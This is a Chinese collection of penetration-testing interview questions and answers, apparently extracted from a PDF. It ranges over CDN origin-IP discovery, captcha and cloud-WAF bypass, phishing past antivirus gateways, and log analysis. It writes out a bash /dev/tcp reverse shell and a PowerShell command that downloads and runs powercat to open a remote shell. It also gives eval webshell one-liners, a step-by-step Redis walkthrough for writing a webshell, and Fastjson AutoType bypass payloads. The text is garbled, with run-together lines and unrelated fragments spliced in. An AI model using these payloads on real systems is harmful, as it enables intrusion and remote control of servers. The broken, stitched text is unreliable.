批注:个人比较倾向这种方法,感觉比较靠谱,服务器主动连接我们,可以获取到mail服务器的ip,如果恰好这个ip和源站ip比较近或者就 是源站ip,就直接成功了。
7.拿CDN服务器 找出真实IP:[ 6 ][ 7 ][ 9 ]
cache_peer 1.1.1.1 parent 80 0 no-query originserver
cache_peer_domain 1.1.1.1 http://www.baidu.com
8.判断HTTP_X_FORWARDED_FOR是否为空,不为空把这个作为IP地址,否则取得REMOTE_ADDR作为IP地址。如果服务器可以上传文 件,可上传文件加如下代码:[ 6 ][ 7 ][ 9 ]
Request.ServerVariables(“LOCAL_ADDR”)’得到服务器的IP地址
Request.ServerVariables(“REMOTE_ADDR”)’得到客户端的IP地址/这个有可能是代理
request.ServerVariables(“HTTP_X_FORWARDED_FOR”)’得到请求客户端真实IP地址
9.以量打量:[ 7 ][ 10 ][ 13 ]
针对免费版的CDN,流量耗尽时就泄露真实IP。这个方法是很笨,但是在特定的目标下渗透,建议采用。cdn除了能隐藏ip,可能还考虑到 分配流量。不设防的cdn 量大就会挂。高防cdn 要大流量访问。经受不住大流量冲击的时候 可能会显示真实ip。
10.查询域名的NS记录,其域名记录中的MX记录,TXT记录等很有可能指向的是真实ip或同C段服务器。[ 10 ][ 11 ][ 13 ]
11.特殊CDN记录 比如cloudflare默认会配direct.domain.com指向真实IP。[ 10 ][ 13 ]
https://github.com/robertdavidgraham/masscan12.如果得到的二级、三级域名都做了CDN,那么可以尝试找找有没有探针文件,有探针文件,看server info就ok[ 10 ][ 13 ]
13.其他的一些社工之类的办法:[ 7 ][ 10 ][ 13 ]
敏感信息搜索:搜集页面敏感信息,比如邮箱、电话、公司地址等等,再去搜,有可能会搜到跟目标一模一样的网站,ping之。 找到CDN平台,收集目标(你的目标站)的信息,社工之 找出网站涉漏文件:这个需要用工具扫或者爬,但是找到的成功率不是很高。 收集信息:这个方法 我经常用,成功率较大。考虑到站长建站不可能用一个域名,假如是做非法产业,黑色产业。一般都需要购买一定的量 的域名,域名被拦截的时候,方便指向,继续安全访问。方法是whois->联系信息->社工->反查域名 或 子级域名 表示后面几种方法有点凑巧,运气好找得到,可以试试。
上述引用原贴:
[ 1 ] http://zhidao.baidu.com/link?url=RbcyXw-qiJTgWAqWWlUF3xDR38rKRcKRvzNYZop-tpin-0HbzFF0u744T-kzDytCPXbbY31KTeor d42_kmqBshP9HJyebJZWcy3mx0dSSZ3
[ 2 ] http://d.wanfangdata.com.cn/Patent/CN201310629730.3 这是找到的一个专利,其中描述的方法,其实就是扫描二级/三级域名, 发现是否有与主域名ip相同,是的话,就相当于发现了源站ip
[ 3 ] http://www.pc841.com/article/20150608-48139.html 这个就是多地ping的方法,提供了两个工具
[ 4 ] http://www.code521.com/index.php/archives/872
[ 5 ] http://www.zhihu.com/question/37103396这个网页的内容在多个网站中都有看到,说来自“核攻击的博客”。
[ 6 ] http://www.baiwanzhan.com/site/t130702/ 这里说了个比较另类的思路,就是让服务器自动来连我们
[ 7 ] http://www.moonsec.com/post-307.html这个网页提供了一些自称比较“猥琐”的方法
[ 8 ] http://www.myhack58.com/Article/html/3/62/2014/49361.htm 这个是一个让它发邮件过来的例子,对上述方法的一个验证。
[ 9 ] http://forum.cnsec.org/thread-79569-1-1.html 这里提供了一些拿CDN服务器的思路
[ 10 ] http://blog.csdn.net/qq_27446553/article/details/46324853这里提了一些其他的思路,说是转的,也没看见从哪儿转的……
[ 11 ] http://www.waitalone.cn/how-to-find-the-real-ip-address-of-the-site.html 这个网站其实总结的已经不错了,思路也比较清晰,给 了很大参考,它的原文地址已经找不到了,就直接引这个网页了
[ 12 ] http://www.cnblogs.com/kirito/p/3650609.html 这个一个人从头到尾试了一下普遍的方法,直到最后让服务器发送一封邮件才看到 bilibili的ip
[ 13 ] http://www.hackdig.com/06/hack-22718.htm 感觉是一些聊天记录,不过里面说到的方法也在其他地方看到了。
下面是找到的一些比较好用的网站,一起推荐了。
[ 14 ] http://www.cdnplanet.com/tools/cdnfinder/ 这个网站对全球大型的CDN厂商做了个概括而且进行了一些数据比较,这个网页直通过 去是一个CDN搜索,不过个人感觉不是特别好用,也可能是我没找到它正确的打开方式。
[ 15 ] http://www.ipip.net/ 这是一个ip库,可以对ip进行定位之类的,感觉做得很专业,很不错。
[ 16 ] http://bbs.chinablackhat.com/thread-7311-1-1.html 这是一个黑帽论坛,因为没有账号看不到内容,不过可能会有比较不错的方 法,推荐有账号的小伙伴去试试,如果有什么好的方法发我一下就更好了。
十一、渗透测试过程中对你的 ip 进行封禁你会怎么办?#
今天在客户这做内网测试,在测试注入的时候触发了防护设备,禁了我的ip,然后我换了一个ip还是不行。
最后请教别人才知道防护设备永久禁了我的ip和mac地址,下面就开始改mac地址
这个mac地址是我随便在网上找的
E8039A352BED
然后拔掉网线
查看是否改成功
ipconfig /all
然后插上网线 就可以了#
即可测试#
十二、说一下图形验证码绕过的方法登录页面怎么实现绕过验证码?验证码绕过#
有哪几种方法?#
图形验证码绕过是指通过某些技术手段,绕过系统中的图形验证码,成功登录系统。图形验证码通常用于防止自动化脚本或者机器人攻击,#
提高系统的安全性。常见的图形验证码包括数字、字母、滑动验证码等。 验证码绕过的方法有很多种,以下是其中几种常见的方法:#
1. 人工识别:最简单的方法是通过人工识别的方式绕过验证码。即通过人工输入验证码来完成登录操作,这种方法适用于验证码比较简单#
或者出现频率比较低的情况。#
2. 自动化识别:使用OCR技术自动识别验证码。OCR技术是一种光学字符识别技术,可以将验证码中的字符转化为文本。这种方法需要训#
练模型,对于一些复杂的验证码效果并不好。#
3. 破解算法:通过破解验证码算法来绕过验证码。有些验证码算法比较简单,可以通过分析算法规律来破解。例如,对于一些数字型验证#
码,可以通过分析数字的形状和间距规律来破解。#
4. 借助第三方服务:使用第三方服务绕过验证码。例如,可以使用打码平台等第三方服务来自动识别验证码。 在实现绕过验证码时,可#
以尝试以下方法:#
5. 使用代理:使用代理服务器来绕过验证码。即通过代理服务器来访问目标网站,这样可以模拟不同的IP地址,降低验证码的检测难度。#
6. 使用Cookie:使用Cookie来绕过验证码。即通过获取目标网站的Cookie信息,重新发送请求,绕过验证码。
7. 人工识别:如前所述,可以使用人工识别的方式来绕过验证码。十三、外网打点的思路说一下#
shell的常见类型#
一、webshell
常见类型:php、java、asp、aspx
通常分为:大马和 小马
常见管理工具:菜刀、哥斯拉、冰蝎、蚁剑
经典一句话:
二、反弹shell
基础反弹shell:
linux :
bash -i >& /dev/tcp/192.168.0.1/65535 0>&1
windows : powershell IEX(New-Object System.Net.Webclient).DownloadString(‘https://raw.githubusercontent.com/besimorhino/po wercat/master/powercat.ps1’);powercat -c ip -p port -e cmd
三、升级可交互式反弹shell
WEB应用获取权限常见方式:#
一、任意文件上传漏洞#
二、web容器解析漏洞
三、文件包含漏洞
四、命令执行漏洞、代码执行漏洞
五、sql注入漏洞
六、未授权访问漏洞
七、框架、组件、CMS漏洞,其他组合拳…等等
数据库服务获取权限方式#
获取权限方式:组合拳或者执行数据库内部函数#
数据库类型:mssql、mysql、oracle、redis、postgresql、SQLite等等
常见协议获取权限方式#
获取权限方式:CVE漏洞、弱口令、未授权访问等#
常用服务:RDP、 SSH、 VNC、telnet、ftp、RMI、SMB、JDWP、 rsync等等
其他获取权限方式#
钓鱼、 云服务器key:阿里accesskey、 运维远控工具漏洞等
十四、一个域名做了 cdn 怎么去找真实 ip? cmd 如果有 cdn 不能查真实 IP 怎#
么做?发现有 ip 能 ping 通你,你怎么做?#
如果一个域名做了 CDN,通常情况下我们不能直接查找它的真实 IP 地址,因为真实 IP 地址是被隐藏的。但是,我们可以尝试通过以下几种#
方式来查找真实 IP 地址:#
1. 使用 CDN 查询工具:有些 CDN 提供商会提供查询工具,我们可以通过这些工具查询域名的真实 IP 地址。例如,阿里云 CDN 提供了#
CDN 域名诊断工具。#
2. 利用 DNS 缓存:如果域名的 DNS 记录没有被 CDN 加速,我们可以通过查询 DNS 缓存记录,来查找域名的真实 IP 地址。#
3. 使用 traceroute 工具:traceroute 工具可以追踪到数据从本地计算机到目标计算机所经过的路由节点,通过分析路由信息,我们可以
大致了解域名的真实 IP 地址。如果在 cmd 中无法查找到真实 IP 地址,我们可以尝试使用一些网络工具来查找,例如:Whois 查询、Nslookup 命令、Dig 命令等。如果我们发现有 IP 能 ping 通,我们可以尝试使用 traceroute 工具或者 Pingplotter 工具来追踪到 IP 所在的网络路径,通过分析路由
信息,我们可以大致了解这个 IP 的位置和所属机构,从而了解更多相关信息。十五、给你百来个域名-或者 Ip,一个星期之内提交百分之 30 的漏洞量,说一#
下批量自动化挖掘思路渗透测试的思路,用到的工具,工具原理是什么?基于什#
么规则 poyload 识别漏洞的?#
针对这个需求,我可能会采用以下几个步骤:#
1.建立自动化挖掘框架:我会建立一个自动化挖掘框架,用于统一管理所有要测试的域名或 IP,同时使用合适的工具来进行批量漏洞挖掘。#
2.选择合适的扫描工具:我会选择适合批量漏洞挖掘的工具,例如 Nmap、OpenVAS、Nessus、Burp Suite 等工具,同时配置合适的参数 和规则,提高扫描效率和准确性。
3.制定扫描计划:我会制定一个扫描计划,包括扫描的时间、频率和方式等。同时,我会根据不同的域名或 IP,制定不同的扫描策略,例如 对于 Web 应用程序,我会采用一些 Web 扫描工具来进行扫描,对于网络设备,我会采用端口扫描工具来进行扫描。
4.使用规则库和 Payload 库:我会使用规则库和 Payload 库来识别漏洞。规则库包含一些常见的漏洞规则,例如 SQL 注入、XSS、文件包含 等,通过匹配这些规则来识别漏洞。Payload 库包含一些特定的攻击代码,例如 SQL 注入攻击、文件包含攻击等,通过使用这些攻击代码来 验证漏洞是否存在。
5.整合扫描结果:我会整合所有扫描结果,包括漏洞类型、漏洞等级、漏洞描述和漏洞证明等信息,以便于后续的分析和处理。
6.生成测试报告:最后,我会生成一个测试报告,包括测试的目的、范围、工具和方法、测试结果、测试结论和建议等,同时也会提供详细 的漏洞描述和解决方案。
十六、假如一个登录框你没有登录权限,找不到漏洞,你会怎么办?#
如果一个登录框没有登录权限,找不到漏洞,我会考虑以下几个方面:#
1. 确认权限:首先,我会确认自己是否有足够的权限来测试这个登录框。如果没有足够的权限,我会寻求授权,或者放弃测试。#
2. 了解登录框的功能:我会仔细了解这个登录框的功能,包括输入用户名和密码、点击登录按钮、登录后的页面等。同时,我会尝试使用#
不同的用户名和密码进行登录,观察登录框的反应。#
3. 考虑其他攻击方式:如果我无法找到登录框的漏洞,我会考虑其他的攻击方式,例如社会工程学攻击、利用其他应用程序的漏洞攻击#
等。例如,我可以尝试通过钓鱼攻击获取用户的用户名和密码,或者尝试通过其他应用程序的漏洞获取登录权限。#
4. 寻求帮助:如果我无法找到漏洞,我会向其他安全专家求助,或者参考其他类似的安全测试报告,看看是否有类似的漏洞存在。#
十七、对一个有登录框、找回密码、注册功能的站点可以进行哪些测试?#
对于一个有登录框、找回密码、注册功能的站点,可以进行以下测试:#
1.身份验证测试:测试站点的登录功能是否能够正常工作,是否存在身份验证漏洞,例如 SQL 注入、XSS、CSRF 等漏洞。#
2.密码安全测试:测试站点的密码安全性,例如密码复杂度、密码强度、密码加密算法等。#
3.找回密码测试:测试站点的找回密码功能是否安全可靠,是否存在安全漏洞。#
4.注册测试:测试站点的注册功能是否安全可靠,是否存在安全漏洞,例如 XSS、SQL 注入、CSRF 等漏洞。#
5.会话管理测试:测试站点的会话管理是否安全可靠,是否存在会话固定、会话劫持、会话注销不彻底等漏洞。#
6.安全设置测试:测试站点的安全设置,例如 HTTPS、HSTS、CSP、X-XSS-Protection、X-Content-Type-Options 等安全头是否合理设置并 生效。
7.敏感信息泄露测试:测试站点是否存在敏感信息泄露的漏洞,例如目录遍历、文件包含、信息泄露等漏洞。
8.性能测试:测试站点的性能,例如并发用户数、响应时间、吞吐量等指标。
十八、安卓 7.0 以后有单双向证书检验怎么绕过去抓包?钓鱼怎么绕过杀毒网#
关,防火墙等?#
安卓 7.0 以后实现了双向证书验证,绕过这种验证可能需要绕过 SSL Pinning 和证书固定功能。一些可能的方法包括:
1.Hook 库:使用 Hook 库来修改应用程序中与证书验证相关的函数,使其不进行验证或验证任何证书。
2.重新编译应用程序:通过重新编译应用程序来禁用 SSL Pinning 和证书固定功能,然后重新签名应用程序,以便绕过证书验证。
3.使用代理:使用代理工具,例如 Burp Suite,设置好证书,然后将代理设置到设备上,以便在代理上进行抓包分析。需要注意的是,绕过 双向证书验证是一项非常复杂和敏感的任务,需要在合适的条件下进行,遵守相关法律法规和道德规范,同时也要保护好自己和他人的安全 和隐私。
钓鱼攻击绕过杀毒网关和防火墙可能需要采用一些社会工程学技巧,例如伪造合法的邮件、短信、网站链接等,欺骗用户点击恶意链接或下#
载恶意文件。一些可能的方法包括:#
1.伪造邮件:伪造合法的邮件,使其看起来来自信任的发送者,欺骗用户点击恶意链接或下载恶意附件。#
2.伪造网站:伪造合法的网站,使其看起来与真实网站相同,欺骗用户输入敏感信息或下载恶意文件。#
3.社交工程学:利用社交工程学技巧,例如伪装成 IT 支持人员、客服人员等,欺骗用户提供敏感信息或下载恶意文件。#
十九、你渗透过程中怎么绕阿里云?#
在渗透测试过程中,如果目标系统托管在阿里云上,需要考虑阿里云的一些防护措施。以下是一些可能的绕过方法:#
1. 伪造来源 IP 地址:阿里云常用 WAF 防护措施来防止攻击者通过 IP 地址进行攻击。攻击者可以使用代理或者伪造 IP 地址,以绕过这种#
防护措施。#
2. 利用旁路攻击:攻击者可以通过利用系统中存在的其他漏洞,例如 XSS、SQL 注入等漏洞,达到攻击的目的,从而绕过阿里云的防护措#
施。#
3. 利用 CDN:阿里云提供 CDN 服务,攻击者可以将攻击流量通过 CDN 进行代理,以绕过阿里云的防护措施。#
4. 使用其他云服务:如果攻击者无法直接攻击阿里云上的目标系统,可以考虑使用其他云服务,例如 AWS、Azure 等,来进行攻击。二十、如果服务器被上传了 webshell 该怎么办?#
如果服务器被上传了 WebShell,建议立即采取以下措施:
1.立即停止服务器上的所有服务和进程,并将服务器隔离,防止进一步的攻击和数据泄露。
2.通过网络嗅探、日志分析等方法,查找并确认 WebShell 的位置和类型,并记录下来。同时,可以利用防病毒软件或文件扫描工具,扫描 服务器上的所有文件,以发现可能存在的其他 WebShell。
3.删除 WebShell 文件,最好是直接删除整个目录,并清除 WebShell 留下的所有痕迹,包括操作日志、数据库记录等。
4.修改所有用户的密码,包括系统管理员、数据库管理员和其他普通用户的密码,以避免攻击者再次利用 WebShell 进行攻击。
5 ,重新安装操作系统、应用程序和服务,确保服务器系统和应用程序处于最新的安全状态,并且所有补丁和更新都已经安装。如果数据备 份已经存在,可以在重新安装后,将备份数据还原到服务器上。
6.加强服务器的安全管理,包括加强口令管理、开启防火墙、限制网络访问、定期更新系统和应用程序等,以避免类似的安全事件再次发 生。
二十一、如何手工发现反序列化和构造 poc? log4 修复后怎么绕过?#
手工发现反序列化漏洞和构造 PoC 的过程,一般包括以下几个步骤:
1. 识别使用了反序列化的代码:可以通过代码审计、静态分析工具等方式,识别出应用中使用了反序列化的代码。
2. 分析反序列化的逻辑:分析反序列化的逻辑和执行流程,确定在何处可以控制反序列化的输入。
3. 构造恶意输入:构造恶意输入数据,使其能够触发漏洞,例如在反序列化数据中插入恶意类等。
4. 构造 PoC:使用构造的恶意输入数据,构造 PoC,验证漏洞是否存在。对于 log4j 的漏洞,在修复之后,攻击者可以尝试使用一些绕过方法,例如:
1.利用变形:攻击者可以通过变形恶意输入数据,使其绕过修复措施,例如在反序列化数据中使用 Unicode 编码等。
2.绕过黑名单:修复措施可能会添加黑名单,防止恶意类的反序列化,攻击者可以尝试绕过黑名单,例如使用反射机制绕过黑名单。3.利用新漏洞:修复措施可能并不完全,攻击者可以继续查找新的漏洞,以绕过修复措施。#
二十二、web 测试中如果碰到那种前端加密的话有没有什么想法?抓到的数据#
包都是密文,前端加密了有没有什么办法去测?#
在 Web 测试中,如果碰到前端加密的情况,可以考虑以下几个方面:
1.分析前端加密算法:使用浏览器开发者工具等工具,分析前端加密算法,了解加密算法的原理和流程,进而尝试解密。可以使用在线解密 工具,或者编写脚本进行解密。
2.尝试绕过前端加密:如果无法解密,可以尝试绕过前端加密,直接利用服务端暴露的接口进行测试。例如,可以使用 Burp Suite 等工具, 拦截带有加密数据的请求,将加密数据替换为明文数据,然后再发送请求,以绕过前端加密。
3.利用已知密钥:如果已知加密密钥或者密钥生成算法,可以使用已知密钥进行解密。可以尝试在网络流量中查找密钥,或者通过代码审计 等方式获取密钥。
4.伪造请求:可以尝试伪造请求,直接绕过前端加密。例如,在 JavaScript 中,可以直接调用服务端暴露的接口,绕过前端加密,从而达到 测试的目的。
二十三、如果客户需要资产备份,有哪些渠道搜集客户没备份的资产?#
如果客户需要资产备份,我们可以通过以下几个渠道搜集客户没有备份的资产:#
1.扫描器:使用扫描器可以扫描客户网络中的主机和设备,以获取网络拓扑图和设备清单。这些信息可以帮助我们了解客户环境中的资产类#
型和数量,并帮助确定哪些资产需要备份,哪些已经备份。#
2.手动查找:对于一些不在网络中的资产,我们可以通过手动查找的方式来搜集资产信息。例如,通过查看客户的设备清单、管理员手册、#
运维文档等来获取资产信息。#
3.调查问卷:可以向客户发送调查问卷,以了解客户的业务需求、资产类型和备份情况。这可以帮助我们更好地了解客户的需求,为客户提#
供更加个性化的备份方案。#
4.监控日志:通过监控客户的日志,可以获取客户网络中的活动和使用情况,从而了解客户的资产类型和数量。例如,可以监控网络流量、#
登录日志、访问日志等。#
二十四、给你一个日志报文,从哪些地方看有没有被攻击?#
要判断日志报文是否被攻击,需要结合具体的日志类型和攻击手段进行分析。不同类型的日志可能涉及到不同的攻击手段,以下是一些常见#
的攻击手段和可疑特征:#
1. Web应用攻击:Web应用攻击包括SQL注入、跨站脚本攻击、文件包含等,可以从Web服务器的访问日志、Web应用程序的日志以及
数据库的日志中寻找可疑特征。例如,SQL注入攻击可能会在URL中注入特殊字符,如单引号、分号等;跨站脚本攻击可能会在URL参
数或请求体中注入恶意脚本代码;文件包含攻击可能会在URL中注入特殊字符串,如../等,来访问其他文件。
2. 网络攻击:网络攻击包括DDoS攻击、端口扫描、入侵检测等,可以从网络设备的日志、入侵检测系统的日志和安全设备的日志中寻找
可疑特征。例如,DDoS攻击可能会导致网络带宽骤增,网络流量达到峰值;端口扫描攻击可能会在短时间内频繁访问同一IP地址的不
同端口;入侵检测系统可以通过分析流量和行为特征,检测出可能的攻击行为。
3. 恶意软件攻击:恶意软件攻击包括病毒、木马、蠕虫等,可以从操作系统和应用程序的日志中寻找可疑特征。例如,病毒可能会修改系
统文件,导致系统异常或崩溃;木马可能会在系统中创建隐藏的进程,执行恶意代码;蠕虫可能会在网络中传播自身,导致网络拥堵或
瘫痪。 需要注意的是,攻击者通常会隐藏攻击行为,使用各种手段规避检测,因此要判断日志是否被攻击,需要结合多种日志和攻击
手段进行综合分析。二十五、如何利用 redis 获取 webshell?#
Redis账号获取webshell实战 1.扫描某目标服务器端口信息 通过nmap对某目标服务器进行全端口扫描,发现该目标开放Redis的端口为 3357 ,默认端口为 6379 端口,再次通过iis put scaner软件进行 同网段服务器该端口扫描,如图 1 所示,获取两台开放该端口的服务器。
图 1 扫描同网段开放该端口的服务器#
2.使用telnet登录服务器 使用命令“telnet ip port”命令登录,例如telnet 1**.. .76 3357,登录后,输入auth和密码进行认证。 3.查看并保存当前的配置信息。 通过“config get命令”查看dir和dbfilename的信息,并复制下来留待后续恢复使用。
4.配置并写入webshell ( 1 )设置路径
( 2 )设置数据库名称#
将dbfilename对名称设置为支持脚本类型的文件,例如网站支持php,则设置file.php即可,本例中为aspx,所以设置redis.aspx。
( 3 )设置webshell的内容 根据实际情况来设置webshell的内容,webshell仅仅为一个变量,可以是a等其他任意字符,下面为一些参考示例。
( 4 )保存写入的内容#
( 5 )查看webshell的内容
config get dir
config get dbfilenameconfig set dir E:/www/fontconfig set dbfilename redis.aspxset webshell "<?php phpinfo(); ?>"
//php查看信息
set webshell "<?php @eval($_POST['chopper']);?> "
//phpwebshell
set webshell "<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"c\"],\"unsafe\");%>"
// aspx的webshell,注意双引号使用\"saveget webshell完整过程执行命令如图 2 所示,每一次命令显示“+OK”表示配置成功。#
图 2 写入webshell
测试webshell是否正常
在浏览器中输入对应写入文件的名字,如图 3 所示进行访问,出现类似:
“REDIS0006?webshell’a@H搀???”则表明正确获取webshell。图 3 测试webshell是否正常
6.获取webshell
如图 4 所示,使用中国菜刀后门管理连接工具,成功获取该网站的webshell。图 4 获取webshell
7.恢复原始设置
( 1 )恢复dir
config set dir dirname( 2 )恢复dbfilename
( 3 )删除webshell
( 4 )刷新数据库#
8.完整命令总结#
config set dbfilename dbfilenamedel webshellflushdb9.查看redis配置conf文件 通过webshell,在其对应目录中发现还存在其它地址的redis,通过相同方法可以再次进行渗透,如图 5 所示,可以看到路径、端口、密码等 信息。
图 5 查看redis
二十六、fastjson 如何进行绕过?#
漏洞类型#
Fastjson 1.2.68 AutoType Bypass(通过异常类)
org.openqa.selenium + Fastjson可造成信息泄露
绕过类对象的访问利用条件#
Gadget必须继承自 Throwable 异常类
漏洞概述#
该漏洞和以往的 AutoType Bypass不同,要求 Gadget必须继承自 Throwable 异常类,所以常见的 JNDI Gadget无法在此处使用,只能寻找 在异常类中的构造方法、set方法、get方法、toString等方法内的敏感操作才会触发漏洞,由于异常类中很少使用高危函数,所以我目前还没 有找到可以 RCE 的 Gadget,只找到了几个非 RCE 的 gadget~
漏洞分析#
Fastjson反序列化时,如果遇到@type指定的类为Throwable 的子类,会调用反序列化处理类ThrowableDeserializer:
fastjson-1.2.68\src\main\java\com\alibaba\fastjson\parser\ParserConfig.java
telnet 1**.**.**.31 3357
auth ******
config get dir
config get dbfilename
config set dir E:/www/font
config set dbfilename redis2.aspx
set a "<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"c\"],\"unsafe\");%>"
save
get a而该漏洞的触发点就位于ThrowableDeserializer,下面跟进ThrowableDeserializer来查看一下其deserialze函数:
fastjson-1.2.68\src\main\java\com\alibaba\fastjson\parser\deserializer\ThrowableDeserializer.java
如上所示,当第二个字段的 key 也是 @type 的时候,则会取 value 当做类名做一次 checkAutoType 检测,在调用 ParserConfig#checkAutoType 时指定的第二个参数expectClass 为 Throwable.class 类对象,该参数通常情况下这个参数都是 null,而 checkAutoType 一般有以下几种情况会通过校验:
1. 白名单里的类
2. 开启了 autotype
3. 使用了 JSONType 注解
4. 指定了期望类(expectClass)
5. 缓存 mapping 中的类本次的这个漏洞正是基于第四种,即指定了期望类的情况,在ParserConfig.AutoTypeCheck中判断了如果期望类不为空且反序列化目标类继 承自期望类就会添加到缓存mapping并且返回这个class,我们可以借此来绕过AutoType的检测:
fastjson-1.2.68\src\main\java\com\alibaba\fastjson\parser\ParserConfig.java
在ThrowableDeserializer中AutoType检测通过后就会开始实例化异常类对象:
fastjson-1.2.68\src\main\java\com\alibaba\fastjson\parser\deserializer\ThrowableDeserializer.java
如上所示,可以看到此处也会将 message 和cause传递给ThrowableDeserializer#createException处理,下面跟进createException函数查 看其逻辑,在该函数中中,会依次按照以下顺序对构造方法进行实例化:
如果无参则构造无参构造方法
如果只有一个参数,且参数类型为String.class就构造一个参数类型为String.class的构造方法
如果参数有两个且参数 1 类型为String.class且参数 2 类型为Throwable.class即构造两个参数的构造方法fastjson-1.2.68\src\main\java\com\alibaba\fastjson\parser\deserializer\ThrowableDeserializer.java
之后返回上一步,继续跟进deserialze函数的后续代码,可以看到在最后会为被实例化后的异常类装配属性:
在装配属性的过程中,会遍历otherValues ,并根据key去调用异常类的set 方法,此处的otherValue 即为当前 jsonobject 对象中除了 @type、message、cause、stackTrace 以外的其他字段,例如@type的类是 java.lang.Exception,otherValues 的第一条是 “msg”=>“hello”, 那么这里就会先去实例化 Exception 对象,再去调用 exception.setMsg(“hello”),这里也是 set 触发的地方,而get方法 的触发则是在 JSON 转 JSONObject 的时候被调用,不过在这里我们也可以通过$ref 字段借助JSONPath去访问get方法~
漏洞产生的原因分析完了,下面就是如何去寻找合适的 gadget 触发漏洞了,在这里先自我写一个存在问题的异常类,去验证一下问题的存 在与否:
SimpleException.java
SimpleTest.java
package com.FastJson1242;import java.io.IOException;public class SimpleException extends Exception {
private String domain;public SimpleException() {
super();
}public String getDomain() {
return domain;
}public void setDomain(String domain) {
this.domain = domain;
}@Override
public String getMessage() {
try {
Runtime.getRuntime().exec("cmd /c ping "+domain);
} catch (IOException e) {
return e.getMessage();
}return super.getMessage();
}
}package com.FastJson1242;import com.alibaba.fastjson.JSONObject;public class SimpleTest {
public static void main(String[] args) {
String payload ="{\"@type\":\"java.lang.Exception\", " +
"\"@type\":\"com.FastJson1242.SimpleException\",\"domain\":\"urx30i.dnslog.cn&&calc\"}";
JSONObject.parseObject(payload);
}
}之后运行SimpleTest.java做一个简易测试:
DNSLog回显:
这只是用来做测试的,在真实场景中很少有人会把执行命令的方法写进异常类~#
漏洞的披露者找到了 selenium 的一个敏感信息泄露,selenium 一般用来操控浏览器进行爬虫,在很多基于浏览器操作的爬虫项目里都会使 用到 selenium,如果同时也使用了fastjson ,就会存在敏感信息泄露的问题~
org.openqa.selenium.WebDriverException 会输出:主机IP、主机名、系统名、系统架构、操作系统版本、java版本、Selenium版本、 webdriver驱动版本等等一系列信息,同时由于是异常类,父类的getStackTrace() 也会被调用,会输出当前方法栈信息,可从中看出使用了 什么框架~
漏洞复现#
下载漏洞披露者提供的测试Demo并用IDEA打开进行部署:https://github.com/iSafeBlue/fastjson-autotype-bypass-demo
之后在浏览器中访问该项目:#
之后随意留言,同时使用burpsuite抓包:
修改请求数据包为以下JSON Payload,之后重放请求来获取敏感信息:
在浏览器页面回显:#
{
"name":"Al1ex",
"email":"admin@163.com",
"content":{"$ref":"$x.systemInformation"},
"x":{"@type":"java.lang.Exception","@type":"org.openqa.selenium.WebDriverException"}
}在这里使用到了 $ref 字段来调用异常类对象的 getSystemInformation 方法并把值引用到 content 字段,所以留言内容输出的就是当前系统 的敏感信息了~
除此之外其实还可以有其他用途,例如可以绕过类对象的访问,例如,某个异常类的get方法返回的对象类型是DataSource,这个类型肯定 是不允许被反序列化的,但它在异常类中被传来的允许被反序列化的类对象构造成了一个DataSource对象,当再去调用get方法访问这个 DataSource的时候,fastjson就管不着了,这种例子在apache abdera的一个异常类中出现过:
https://github.com/apache/abdera/blob/43fae3a0bb450895042bf0825f11fbf39832e830/server/src/main/java/org/apache/abdera/se rver/exceptions/AbderaServerException.java
下面为一个缩写版本,用于本次测试:
在这个异常类中,setDataSource的参数是 URL 类型,在Fastjons中是允许被反序列化的,也就是说可以通过调用setDataSource方法,并 且实例化URLDataSource对象,然后即可通过JSONPath的功能再去调用他的getDataSource().getInputStream(),这样就会触发 URL连接请 求:
运行之后:#
package com.FastJson1242;
import javax.activation.URLDataSource;
import javax.activation.DataSource;
import java.net.URL;public class DataSourceException extends Exception {public DataSourceException() {}private DataSource dataSource;public DataSource getDataSource() {
return dataSource;
}public void setDataSource(URL url) {
this.dataSource = new URLDataSource(url);
}
}package com.FastJson1242;import com.alibaba.fastjson.JSONObject;public class SimpleTest {
public static void main(String[] args) {
String payload ="
{\"@type\":\"java.lang.Exception\",\"@type\":\"com.FastJson1242.DataSourceException\"," +
"\"dataSource\":{\"@type\":\"java.net.URL\",\"val\":\"http://127.0.0.1:1234\"}}";
JSONObject.parseObject(payload);
}
}修复方案#
开启 safeMode
添加黑名单#
二十七、如果你的电脑被入侵了,你怎么去找到对方是谁?#
電腦上網無緣無故就被人Hack掉,馬的,真的很想把他斃了。你有遇過這樣的情形嗎?搞不好特洛依木馬這類的程式就潛伏在你的電腦中, 伺機對你的系統造成威脅或破壞。ConnecWatch 、Back Orifice Spy 、BoDetect 、The Cleaner 等就是針對這樣的Bug去設計的軟體。只 要有人攻擊你的電腦,它就會作防護、記錄甚至是反擊的動作。當然入侵程式有很多種,如NetBus、Netspynew、IcqT、Back Orifice Remote、Port Scan..等等。站長沒時間一一測試,也不敢保證能做到絕對防護。不過這不是這篇文章的主題。這裡所要講的是─當你知道入 侵者的IP位址時,如 何 靠 IP Address(如140.119.23.4)或 Domain Name(如www.chati.com)找出入侵者位置 ?
關於IP Address與DNS請參考網路定址模式與網際網路服務介紹這兩篇文章 網路位址管理現況 IP Address的使用必須向 InterNIC(www.internic.net)登記,而 Domain Name要向當地直屬的網路管理中心登記。 在 Internet上 的網路管理中心共有三個層級 (單位性質一定為NET):
1. 國 際 等 級#
國際等級只有InterNIC一個,全球各國的NIC以及洲際NIC均由其管理。
2. 洲 際 等 級#
InterNIC並不直接管理整個 Internet,其下的網路資源會再做分區(歐洲、亞洲…)。例如台灣、日本、香港等亞太地區國家,由亞太洲際網路 管理中心 (Asian-Pacific NIC, APNIC,位於日本)(www.apnic.net)來管理,並不直接由 InterNIC管理 。
3. 國 家 等 級#
Domain Name後面不掛國碼的(如:http://www.allfile.com)不是由 InterNIC管理就是由洲際的NIC管理,但是有掛國碼的由當地國家之NIC 管理,慣例是兩位國碼加上NIC就是該國NIC之名稱(www.**nic.net)。例如台灣之國碼為TW,則台灣網路管理中心為 TWNIC (www.twnic.net)。補充:目前台灣的whois系統已暫停服務,所以如果你要查必須打電話去詢問。
但美國是例外,由於InterNIC位於美國,因此美國的 Domain Name由 InterNIC直轄。有一個特別的例外是掛 .mil的美國軍方網路的資料是 由nic.ddn.mil(美國軍事防衛網路)來管理,不由 InterNIC管理。
ParserConfig.getGlobalInstance().setSafeMode(true);ParserConfig.getGlobalInstance().addDeny("org.openqa.selenium");Domain Name 命名的三種情況
